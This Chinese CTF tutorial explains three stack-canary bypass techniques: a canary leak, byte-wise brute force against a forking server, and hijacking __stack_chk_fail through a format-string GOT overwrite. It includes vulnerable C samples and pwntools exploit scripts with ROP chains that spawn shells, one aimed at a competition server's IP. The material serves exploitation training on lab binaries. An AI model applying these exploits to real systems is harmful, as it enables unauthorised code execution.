Canary绕过总结(一)

由 晨星运营组 发布

1. 格式化字符串泄露

2025-iscc-pwn1
64位程序动态链接

存在栈溢出和格式化字符串

有完整的system

当输入24个字符的时候就可以顺便把字符输出来泄露canary,后面就是简单的ret2text

exp

from pwn import*
p=remote('101.200.155.151',12000)
# p=process('./pwn1')
p.recvuntil(b"you are a genius,yes or no?")
p.sendline(b'no')
p.recvuntil(b"Sir, don't be so modest.")
p.sendline(b'thanks')
p.recvuntil(b"what you want in init")
ret=0x000000000040101a
shell=0x4011a6
payload=b'a'*24
# gdb.attach(p)
p.sendline(payload)
p.recvuntil(b'aaa\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
p.recv()
payload=b'a'*24+p64(canary)+b'a'*8+p64(ret)+p64(shell)
p.sendline(payload)
p.interactive()

2. 字节爆破

原理
每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,因为fork函数会直接拷贝父进程的内存,所以fork函数创建的子进程中的canary也是相同的。最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃。爆破成功则程序进行下面的逻辑。
我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
64位程序canary:8字节
复杂度:8*256
一个字节的范围:0x100
源码

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <wait.h>
void vuln() {
    char buf[0x100];
    puts("please input:");
    read(0, buf, 0x200);
}
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    while (1) {
        pid_t pid = fork();
        if (pid < 0) {
            break;
        } else if (pid > 0) {
            wait(0);
        } else {
            vuln();
        }
    }

    return 0;
}

代码可以理解成这样
pid<0报错
pid=0子进程
pid>0父进程

gdb调试到read就能找到buf的位置

直接在read那里看一下栈,计算一下canary的位置

正常来说,没修改canary就会死循环不断输入

溢出覆盖canary会报错

我们知道canary的低字节是/x00,可以看到是正常不断输入

爆破成功

后面来正常栈溢出就行,这里用syscall
exp
由于 fork 产生的子进程的 canary 与父进程相同,因此可以根据子进程是否打印报错信息来逐字节爆破canary。

from pwn import *
elf = ELF("./test")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
canary = b'\x00'
while len(canary) < 8:
    for c in range(0x100):
        p.sendafter(b"please input:", b"a" * 0x108 + canary + p8(c))
        if not p.recvline_contains(b'stack smashing detected', timeout=1):
            canary += p8(c)
            break
canary = u64(canary)
info("canary: " + hex(canary))
payload = b''
payload += b'a' * 0x108
payload += p64(canary)
payload += b'b' * 8
payload += p64(0x000000000040f23e)  # pop rsi ; ret
payload += p64(0x00000000004c10e0)  # @ .data
payload += p64(0x00000000004493d7)  # pop rax ; ret
payload += b'/bin//sh'
payload += p64(0x000000000047c4e5)  # mov qword ptr [rsi], rax ; ret
payload += p64(0x000000000040f23e)  # pop rsi ; ret
payload += p64(0x00000000004c10e8)  # @ .data + 8
payload += p64(0x00000000004437a0)  # xor rax, rax ; ret
payload += p64(0x000000000047c4e5)  # mov qword ptr [rsi], rax ; ret
payload += p64(0x00000000004018c2)  # pop rdi ; ret
payload += p64(0x00000000004c10e0)  # @ .data
payload += p64(0x000000000040f23e)  # pop rsi ; ret
payload += p64(0x00000000004c10e8)  # @ .data + 8
payload += p64(0x00000000004017cf)  # pop rdx ; ret
payload += p64(0x00000000004c10e8)  # @ .data + 8
payload += p64(next(elf.search(asm('pop rax; ret;'), executable=True)))
payload += p64(59)
payload += p64(next(elf.search(asm('syscall;'), executable=True)))
p.sendafter(b"please input:", payload)
p.interactive()
# 0x7fffffffddd0 buf
# 0x7fffffffded8 canary
# 0x7fffffffdee0 rbp
# 0x7fffffffdee8 ret addr

3. 劫持__stack_chk_fail函数

原理

canary 检测失败会调用 stack_chk_fail 函数,可以通过比如格式化字符串漏洞修改 got 表中对应stack_chk_fail 的位置为后门函数的地址来实施攻击
只要这个不是falsegot表就可以写

canary的地址-buf的地址是0x108,但是只能溢出0x110到rbp

有格式化字符串可以实现任意地址写printf(buf),因为没开启pie栈上的地址都是可以知道的

且got表在栈上,我们可以覆盖这个地方指向backdoor

源码

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
void backdoor() {
    puts("this is a backdoor.");
    system("/bin/sh");
}
void vuln() {
    char buf[0x100];
    puts("please input:");
    read(0, buf, 0x110);
    printf(buf);
}
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    vuln();
    return 0;
}

exp

from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
gdb.attach(p, 'b *0x40124b\nc')
pause()
payload = fmtstr_payload(6, {elf.got['__stack_chk_fail']: elf.sym['backdoor']})
payload = payload.ljust(0x108, b'a')
payload += b'b'
p.sendafter(b"please input:", payload)
p.interactive()

作者:晨星安全团队--tblr


0条评论

发表评论